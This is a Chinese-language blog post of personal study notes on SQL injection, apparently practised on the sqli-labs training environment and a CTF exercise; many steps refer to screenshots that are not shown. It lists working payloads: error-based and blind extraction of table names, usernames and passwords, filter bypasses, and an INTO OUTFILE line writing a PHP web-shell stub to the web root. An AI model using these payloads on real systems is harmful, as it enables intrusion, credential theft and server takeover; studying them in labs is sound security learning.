sql注入重学

当一个注入点没找到,可以看看有没有别的注入点

sql基本操作

基本查询语句

union

(必须得是前面的列与后面的列相同才可以查询)

看第二局uses表中的列有3列,而emails中的列只有两列,所有无法成功查询

这就相当于我们再加了一列。。

group by (分组)

相当于将其分为10列,如果*(也就是所有的列)有10列就不会报错,如果没有十列就会报错

order by(排序)

它就会对第三列进行排序

limit

group_concat

令多行变一行


sql注入流程 

sql注入的分类

判断注入为字符型还是数字型

1.

当改为and 1=2还不会报错的话就是字符型

2.

如果是字符型,查出来的结果就业id=2时的相同,如果是数字型,就会与1的相同



尝试id=1-2

闭合方式

首先查看是怎么样的闭合方式

1.(有报错的情况)

先给他丢一个单引号,然后看看报错

然后从这里分析是这么闭合的

2.没有显示报错的情况

当正常输入id=1,它会正常的回显

当加上单引号就没有回显

这又正常了,说明为单引号闭合

注释语句

判断列数(group by ,order by)

当为4 时报错

当为3时不报错说明列数就是3

找回显

将前面的id改为-1或者其他数然后他就无法查询到东西,就会输出后面的回显

然后我们发现回显2,3都能在上面找到,我们就可以把3,改成需要找的东西

找数据库名

找表名

获取所有表

但这样给出的表太多了,所以我们将范围缩小到当前数据库

4

获取列名

这样显示的更加简洁

获得最终数据

可以用分隔符,更简洁


数字型

查表面

报错注入

当我正常访问它,它是这个页面,当我错误的访问它,他也是这个页面,没有报错信息,

前面的步骤都有报错,只有这个没有

我们先这么执行

然后修改url将其改成错误的,让其报错

他就会显示出来

通过extractvalue报错注入

doc是列名,xml是表名,中间那个不用管

让它报错

concat是连接的意思,0x7e是-符号,让其变成上面的样子

但是这个只能回显32个字符

所以我们使用substring

获取当前是数据库名称及使用mysql数据库的版本信息:

?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+

获取表名:

?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+

获取users表的列名:

?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+

获取对应的列名的信息(username/password):

?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+

updatexml

用来更新的        

doc是查询的列名,中间是想要修改的东西,第三个是修改后的东西

但是也一样只能显示30个字符

查询当前数据库的用户信息以及数据库版本信息:

?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+

获取当前数据库下数据表信息:

?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+

获取users表名的列名信息:

?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+

获取users数据表下username、password两列名的用户字段信息:

?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+

?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/qq_62539372/article/details/125423579

floor报错

前提知识

select

s

rand()函数

floor函数

concat_ws函数

group by 函数

cout()函数

它会给你统计出来分组后 的个数

原理可以去看视频

注入语句

想查询的东西与后面的information-schema。。。。没有任何关系,他只是想让它报错。。。

学的不怎么样

布尔盲注

条件:当既没有回显,也没有报错的时候

前提知识

他只会解析第一个字母

它会显示数据库名字第一个字母,但它无法回显出来,所以我们可以使用<,二分法来判断他在哪一个区间

117不行

而115可以,然后在改变数字

id=1 and length(database())>10(测长度)

id=1 and ascii(substr(database(),1,1))>100--(求数据库)

3.1.1 的第一个表的长度

id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--

3.2.1 判断数据库下的第一个表的表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110--

4.2.1 判断第一个字段的长度:

length((select column_name from information_schmea.columns where table_name='member' limit 0,1))>10--

4.3.1 判断第一个列的值

and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))=110--

5、判断字段的值

length((select name from member limit 0,1))>5--

ascii(substr((select name from member limit 0,1),1,1))>110--

时间盲注

 

if函数

当1=1为真就执行0秒,当1=1为假就执行3秒

看时间的长短

ssql文件上传

这说明有读写权限

判断闭合方式

?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+

dnslog手动注入

也要保证这个开启

loadfile可以读取指定的文件

获得一个域名

我们尝试访问这个域名,前面带上自己想要的东西

就会记录访问日志,日志记录

构造payload

它就会显示数据库

看表名

dsnlog自动注入

post提交注入

就可以登陆了

找列数

找回显

post报错注入

uagent注入

check_input,会过滤

主要起作用的 是最后一个函数

、前提是你已经登录进去了,然后发现$uagents没有被过滤

主要可以注入的点就是insert,插入一般都是报错注入

referer注入

cookie注入

  首先给本地设置一个cookie

接受cookie,然后看这个cookie是否为真

然后这么认证

过滤

注释符过滤

#被过滤

只要写就会被删

解决方法1

 

但这种很多情况行不通

所以我们可以这么做,这样就可以将后面的单引号给闭合

and和or绕过

空格的过滤

 

方法二

用这些替换

  

 

第二种方法就是不写空格

逗号过滤

查里面的数据也会这样

所以我们得分开查

union 和select绕过方式

宽字节注入

两个双引号就会错乱

这个函数就会在引号前面加/

所以id=1时就很难生效

ctf

1.

BUU SQL COURSE 1

过滤了空格。

  • 16
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值